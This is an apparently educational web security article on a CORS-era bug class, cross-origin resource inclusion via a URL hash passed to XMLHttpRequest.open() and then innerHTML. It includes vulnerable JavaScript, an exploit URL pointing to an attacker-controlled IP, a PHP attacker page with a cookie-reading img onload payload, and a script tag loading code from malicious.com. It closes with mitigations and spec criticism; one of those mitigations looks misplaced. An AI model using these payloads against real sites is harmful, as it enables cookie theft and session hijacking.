Cross-Origin Resource Inclusion



This article discusses a new bug class that was introduced in XMLHttpRequest Level 2, how the bug manifests and some solutions to different problems.

HTML5 is a hot topic in web security today. Mostly because of how expansive it is in relation to older web specifications, but also because it introduces new concepts for web developers to misunderstand.

First, some concepts.

Asynchronous JavaScript and XML (AJAX) was introduced into the web platform as a simple way to make HTTP requests from JavaScript. It allows for parts of a web page to be updated dynamically without reloading the entire page. Originally, AJAX was used for continuously updating content only. Today, AJAX is used for everything.

Web 2.0 Design Trends have been changing drastically over the past several years. I make no claims to be any kind of web designer, but I do know how to develop code for the web and I am able to make simple observations. When you go to a bunch of websites and you see similar functionality on all of them, that’s called a trend. Here’s one specific trend I observed over the past several months.

Facebook and Twitter have started using URLs that look like this:

https://www.facebook.com/#!/TheJulianCohen https://twitter.com/#!/HockeyInJune/lists/memberships

If we take a closer look at how this URL is used, we see that these websites first load a generic page that contains some JavaScript. Then, these pages use an AJAX request to pull down the page-specific content at /TheJulianCohen and /HockeyInJune/lists/memberships; the part of the URL that directly follows the #!.

We can call this an example of “improper” use of AJAX, because it is not necessary to pull down the unique content after the page has been requested. There are many other ways of implementing this that do not involve an asynchronous request. Whether or not this is functionality was introduced as a performance increase or an artifact of poorly designed frameworks is unclear. I do believe that this will always present a performance decrease, but with these new fast JavaScript engines, it’s difficult to say definitively.

Technical Note: This functionality has since been removed from these websites because of the security issues we will discuss below.

Same Origin Policy (SOP) dictates that client-side scripts are confined to their originating site, this means that a script from one site cannot influence any other objects belonging to another. SOP has been implemented in modern browsers for a long time, but SOP was first standardized in XMLHttpRequest Level 1. XMLHttpRequest Level 1 dictates that XMLHttpRequest() follows SOP.

HTML5’s new functionality.

Cross-Origin Resource Sharing (CORS) is new functionality of XMLHttpRequest Level 2 that allows XMLHttpRequest() to make cross-origin requests, directly violating XMLHttpRequest Level 1’s SOP restriction. This is done for added functionality, so developers can asynchronously pull content from other domains. The specification dictates that Cross-Origin Resource Sharing checks the remote host to see if it allows cross-origin requests, and this is going to be the root cause of the security issues introduced.

Now, because scripts are allowed to interact cross-domain, we need to redefine Same Origin Policy.

  • Scripts are confined to their originating site

  • Documents are confined to their originating site

What do we mean by Documents? Every DOM object has a parent Document object. Scripts in one Document object, cannot interact with scripts from another Document object. This sounds good, but where is this line drawn?

<!DOCTYPE html>
<html>
	<head>
		<script src="http://malicious.com/bad.js" />
	</head>
</html>

This page is located at safe.com

In the example above, the script that originated at malicious.com is in safe.com’s Document object. The malicious JavaScript that exists in bad.js can affect elements on the page at safe.com. The specification expects the developer to make sure that only legitimate parties have access to the Document object. You be may inclined to immediately jump to the conclusion that sanitizing user input will fix this situation. Instead of assuming the example above was caused by a Cross-Site Scripting vulnerability, you’ll get a better understanding of the possibilities if you consider that it was caused by Malicious Advertisements.

So, you might be thinking that Same Origin Policy isn’t doing such a great job anymore. But SOP still works well for Frames, Windows and Cookies, which are owned by their domain’s own Document object.

Cross-Origin Resource Sharing

Let’s take a look at our demonstration website.

Technical Note: This demonstration has been tested in Google Chrome, but should work in any browser that implements this part of the HTML5 specification correctly.

Below is the snippet of vulernable JavaScript we use in our example website.

function xhr() {
	var i = document.location.hash.indexOf("#!");
	if (i == 0) {
		var XHr;
		XHr = new XMLHttpRequest();
		XHr.onreadystatechange=function() {
			if (XHr.readyState == 4) {
				document.getElementById("go").innerHTML = XHr.responseText;
			}
		}
		XHr.open("GET", document.location.hash.substr(2), true);
		XHr.send(null);
	}
}

This website implements a number of AJAX features including Cross-Origin Resource Sharing. Each button will append a different string to the end of the URL, and reload the page. When the page is reloaded the string after the #! in the URL will be passed to XMLHttpRequest.open().

The Go Web 2.0! button will request a benign same-origin page. This is expected functionality. The Go Semi-Malicious! button will request a malicious same-origin page. This is expected functionality. The Go Cross-Origin! button will request a benign cross-origin page. This is new, previously unexpected functionality.

Cross-Origin Resource Inclusion

To exploit this bug, replace a malicious page URL after the #!.

http://isis.poly.edu/~hake/cori/#!http://128.238.66.202/cori/

Exploit Analysis

<?php
	header('Access-Control-Allow-Origin: *');
?>
Cross-Origin Resource Inclusion
<div></div>
<img src="http://upload.wikimedia.org/wikipedia/commons/thumb/3/39/Hazard_T.svg/500px-Hazard_T.svg.png" onload="alert(document.cookie);" onerror="alert(1);" />

This is index.php at http://128.238.66.202/cori/

All we need to allow the vulnerable website to make a cross-origin request to our malicious page is set one response header; Access-Control-Allow-Origin: *. Note that this is set on the cross-origin site that we control. When you navigate to the URL above, you can see that the malicious page has control over the user’s cookie at isis.poly.edu.

Bug Analysis

		XHr.open("GET", document.location.hash.substr(2), true);

Here is where an attacker has control over the url parameter in XMLHttpRequest.open().

Vulnerability Analysis

Now, if you’ve been paying very close attention, you’ll notice there was a tiny bit of hand-waving going on. There are a few technical details about Document ownership that we didn’t discuss about that were vital to our exploit.

Cross-origin DOM objects are owned by different Document objects. When we first make the asynchronous request, the response DOM objects are children of the cross-origin Document object. At this point, the vulnerable website is protected from the malicious JavaScript in the cross-origin Document object.

Passing DOM objects through innerHTML changes the parent Document object of those objects. There is an internal ownerDocument property that every DOM object has that is only accessible by the browser. This property defines which parent Document object a DOM object belongs to. When a DOM object is passed through innerHTML of an object belonging to a different parent Document object, its ownerDocument property is changed to match its new parent DOM object’s parent Document object.

A Note About Cookie Snatching

An attacker was able to steal isis.poly.edu’s cookie because the malicious remote resource at http://128.238.66.202/cori/ was injected into isis.poly.edu’s DOM tree. Cookies were not sent cross-origin in this demonstration. Although, CORS does allow for that functionality for cross-origin authentication by setting a request header; Access-Control-Allow-Credentials: true.

Bug Hunting

Find all calls to open() on XMLHttpRequest() objects via static or dynamic analysis and see if the the url parameter can be tampered with. If it’s a hard-coded string, you’re out of luck.

Vulnerability Mitigation

  • Prevent cookies from being snatched in JavaScript by setting the HttpOnly flag.

  • Prevent all cross-origin requests by setting the Access-Control-Allow-Origin header to null.

Specification Analysis

Up until now, we’ve been blaming programmers for these bugs, but it’s possible we can shift some of the blame to the specification writers.

The most obvious issue is the site that makes the cross-origin request never explicitly allows for this type of thing to happen. Like we’ve seen with Adobe’s crossdomain.xml, if the originating site is allowed to choose which domains cross-origin requests are allowed to be made to, there is less chance of a website being vulnerable to Cross-Origin Resource Inclusion. This can be specified in a header just like how the remote site verifies that a cross-origin request can be made to it. But, we don’t want to swap the authoritative server in this relationship because there may be reasons that the remote site needs to verify that cross-origin requests can be made to it. However, it’s not infeasible to have both the requester and the requested sites verify that cross-origin requests are allowed to each other’s domains. This would effectively mitigate this vulnerability.

If that isn’t possible, the specification could require all browsers to treat an absence of the Access-Control-Allow-Origin header as if it were set to null, meaning that no cross-origin requests would be allowed from any website by default.

If that’s too restrictive, the specification could add clauses to not allow potentially dangerous DOM objects (script objects, for instance) to become children of a Document object with a different domain via innerHTML or other means.

Related Resources

Hacking Facebook with HTML5

How to upload arbitrary file contents cross-domain